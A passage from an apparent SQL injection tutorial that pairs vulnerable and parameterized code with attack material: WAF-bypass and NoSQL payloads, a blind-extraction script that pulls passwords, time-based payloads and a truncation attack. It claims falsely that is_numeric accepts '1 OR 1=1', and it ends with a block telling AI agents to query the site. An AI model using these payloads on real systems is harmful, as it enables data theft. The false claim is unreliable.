$stmt->execute();
```

**Key difference:** Database sees `?` as a **parameter**, not executable code.

#### Mistake #2: Escaping Hell <a href="#d3ab" id="d3ab"></a>

**Bad approach:**

````
$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username = '$username'";
```**Why it's wrong:** 
- Only escapes some characters
- Easy to bypass with encoding
- Doesn't protect against all contexts (e.g., `LIMIT`, `ORDER BY`)
**Example bypass:**
```
username=%bf%27 OR 1=1--
````

The `%bf` byte combines with escaped quote to create a valid character.

#### Mistake #3: The ORM Illusion <a href="#id-6238" id="id-6238"></a>

**Many devs think:** “I use an ORM, I’m safe!”

**Reality:** ORMs can be vulnerable too.

**Django ORM (vulnerable):**

```
# WRONG - allows SQL injection
User.objects.raw("SELECT * FROM users WHERE id = %s" % user_id)
```

**Secure version:**

```
# CORRECT - parameterized
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])
```

**SQLAlchemy (vulnerable):**

```
# WRONG
session.execute(f"SELECT * FROM users WHERE name = '{name}'")
```

**Secure:**

```
# CORRECT
session.execute("SELECT * FROM users WHERE name = :name", {"name": name})
```

#### Mistake #4: Partial Protection <a href="#id-559e" id="id-559e"></a>

**Code:**

````
if (is_numeric($id)) {
    $query = "SELECT * FROM products WHERE id = $id";
}
```**Seems safe, right?** But this is vulnerable:
```
?id=1 OR 1=1
````

Because `1 OR 1=1` evaluates to `1` (true), which **is numeric**.

### The RIGHT Way to Prevent SQL Injection <a href="#id-6998" id="id-6998"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FKTfkTZfxEYZdwvUpOGhb%2F10.webp?alt=media&#x26;token=431b421f-015d-47c2-8a74-f587f57f8357" alt=""><figcaption></figcaption></figure>

#### 1. Parameterized Queries (Prepared Statements) <a href="#f484" id="f484"></a>

**PHP (MySQLi):**

```
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
```

**Python:**

```
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
```

**Node.js:**

```
connection.query("SELECT * FROM users WHERE username = ? AND password = ?", [username, password]);
```

**Java:**

```
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```

#### 2. Stored Procedures (Use Carefully) <a href="#abcb" id="abcb"></a>

**Create stored procedure:**

```
CREATE PROCEDURE GetUser (IN user_id INT)
BEGIN
    SELECT * FROM users WHERE id = user_id;
END;
```

**Call from application:**

```
$stmt = $conn->prepare("CALL GetUser(?)");
$stmt->bind_param("i", $id);
$stmt->execute();
```

**⚠️ Warning:** Stored procedures can be vulnerable if they use dynamic SQL inside:

**Vulnerable stored procedure:**

```
CREATE PROCEDURE SearchUsers (IN search_term VARCHAR(50))
BEGIN
    SET @query = CONCAT('SELECT * FROM users WHERE name LIKE "%', search_term, '%"');
    PREPARE stmt FROM @query;
    EXECUTE stmt;
END;
```

**This is still vulnerable!** Use parameters inside stored procedures too.

#### 3. Input Validation (Defense in Depth) <a href="#aac1" id="aac1"></a>

Prepared statements are #1, but add validation as a second layer:

```
// Whitelist validation
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_by, $allowed_columns)) {
    die("Invalid sort column");
}
// Type checking
$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);
if ($id === false) {
    die("Invalid ID");
}
// Regex for specific patterns
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die("Invalid username format");
}
```

#### 4. Least Privilege Principle <a href="#id-550f" id="id-550f"></a>

**Database user permissions should be minimal:**

### 🚀 Myths vs Reality <a href="#bb24" id="bb24"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FXZWdkK7hU6FpxBtL9L1x%2F11.webp?alt=media&#x26;token=561bc6f0-4bb6-44ef-9c09-0cc83cfbdd04" alt=""><figcaption></figcaption></figure>

### Myth #1: “My WAF Protects Me From SQLi” <a href="#id-9959" id="id-9959"></a>

**Reality:** WAFs can be bypassed. They’re a **layer**, not a solution.

**Example bypass that works on many WAFs:**

```
'%0a%55nion%0a%53elect%0a@@version--
```

**Truth:** Use WAF **+ parameterized queries**, not WAF alone.

### Myth #2: “ORMs Make Me Immune to SQLi” <a href="#id-7639" id="id-7639"></a>

**Reality:** ORMs can be vulnerable if used incorrectly.

**Vulnerable ORM code:**

```
User.objects.raw(f"SELECT * FROM users WHERE id = {user_id}")
```

**Truth:** ORMs need to be used with parameterization too.

### Myth #3: “NoSQL Databases Can’t Have Injection” <a href="#id-8aca" id="id-8aca"></a>

**Reality:** NoSQL has injection too — just different syntax.

**MongoDB injection example:**

```
{"username": {"$ne": null}}
```

**Truth:** **Every** database query technology needs input validation.

### Myth #4: “Input Validation Is Enough” <a href="#id-966d" id="id-966d"></a>

**Reality:** Validation can be bypassed with encoding, unicode, etc.

**Example:**

```
// Developer blocks: OR, UNION, SELECT
// Attacker uses: %4f%52 (URL encoded "OR")
```

**Truth:** Parameterized queries are **non-negotiable**.

### Myth #5: “Modern Frameworks Are Safe by Default” <a href="#b7b4" id="b7b4"></a>

**Reality:** Frameworks help, but developers can still write vulnerable code.

**Laravel (vulnerable):**

```
DB::select("SELECT * FROM users WHERE id = $id");
```

**Truth:** Frameworks provide tools — you still need to use them correctly.

### Myth #6: “SQL Injection Is Old News” <a href="#id-3498" id="id-3498"></a>

**Reality:** SQLi is **#1** on HackerOne in 2024.

**Statistics:**

* 30% of all web vulnerabilities are SQLi-related
* Average bounty: $3,500
* Top bounty: $30,000+

**Truth:** SQLi is **very much alive** and profitable for hunters.

### 🎓 Advanced Topics (Advanced-Level Depth) <a href="#a0d1" id="a0d1"></a>

<figure><img src="https://1877303182-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FL5cnWxGsBflXyCiS7TSN%2Fuploads%2FYfd64KPkYXzFG2zfIqAG%2F12.webp?alt=media&#x26;token=d8131516-4c39-4cbd-9509-978c3750ba1a" alt=""><figcaption></figcaption></figure>

### 1. Blind SQL Injection Optimization <a href="#b7dd" id="b7dd"></a>

**Problem:** Extracting data one character at a time is **slow**.

**Solution: Binary Search Algorithm**

**Instead of:**

```
# Trying a-z (26 attempts per character)
for char in 'abcdefghijklmnopqrstuvwxyz':
    test_payload(char)
```

**Use binary search (5 attempts per character):**

```
def extract_char_binary(position):
    low, high = 32, 126  # ASCII printable range
    while low <= high:
        mid = (low + high) // 2
        payload = f"' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),{position},1))>{mid}--"
        response = requests.get(url + payload)
        if "Welcome" in response.text:
            low = mid + 1
        else:
            high = mid - 1
    return chr(high)
```

**Result:** Extract 32-character password in **160 requests** instead of 832.

### 2. Time-Based SQLi with Statistical Analysis <a href="#id-47ea" id="id-47ea"></a>

**Problem:** Network jitter causes false positives.

**Solution:** Multiple measurements + statistical analysis.

```actionscript-3
import statistics
def is_vulnerable(payload, threshold=5):
    times = []
    for i in range(10):  # Take 10 measurements
        start = time.time()
        requests.get(url + payload)
        elapsed = time.time() - start
        times.append(elapsed)
    
    median_time = statistics.median(times)
    return median_time > threshold
```

### 3. SQLi in Compiled Statements (Advanced) <a href="#id-65bf" id="id-65bf"></a>

**Even prepared statements can be vulnerable if:**

````
// Dynamic table/column names
String table = request.getParameter("table");
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM " + table + " WHERE id = ?");
```
**Attack:**
```
?table=users UNION SELECT password FROM admins--
````

**Defense:** Whitelist table names:

```
String[] allowedTables = {"users", "products", "orders"};
if (!Arrays.asList(allowedTables).contains(table)) {
    throw new SecurityException("Invalid table");
}
```

### 4. Inference-Based Data Extraction <a href="#id-60b4" id="id-60b4"></a>

**Technique:** Extract data without seeing it directly.

**Example:** Guess admin password length through timing:

```
' AND IF((SELECT LENGTH(password) FROM users WHERE username='admin')=8, SLEEP(5), 0)--
```

If delay occurs, password is 8 characters.

**Then extract each character:**

```
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--
```

### 5. SQL Truncation Attack <a href="#e1bd" id="e1bd"></a>

**How it works:** Databases truncate long strings — exploit this!

**Vulnerable code:**

```
INSERT INTO users (username, password) VALUES ('$username', '$password')
-- username column max length: 20 characters
```

**Attack:**

1. Register username: `admin x` (admin + 15 spaces + x)
2. Database truncates to: `admin` (20 chars)
3. Database trims spaces: `admin`
4. **You now have an account with username “admin”**

**Defense:**

```
ALTER TABLE users ADD CONSTRAINT username_unique UNIQUE(username);
```

### 🏆 Closing: Join the Top 1% <a href="#e8cc" id="e8cc"></a>

You’ve just absorbed **years of SQL Injection knowledge** in one article.

You now know: \
✅ How SQLi works at the binary level\
✅ Every type of injection (union, blind, time-based, out-of- band)\
✅ How to bypass WAFs with 10+ techniques\
✅ Real bug bounty strategies that pay $10k-$30k\
✅ How to defend applications properly\
✅ Advanced techniques used by elite hackers.

#### **But knowledge without action is worthless.**

> **Remember**: With great power comes great responsibility. Only test systems you have explicit permission to test. Happy (legal) hunting! \
> &#x20;Transparency & Corrections Welcome.

```applescript
Thanks For Reading and Giving Your valuable Time ❤
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nepali-hacker-community-1.gitbook.io/nepali-hacker-community/sql-injection/the-ultimate-sql-injection-guide-from-zero-to-advanced-level..md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
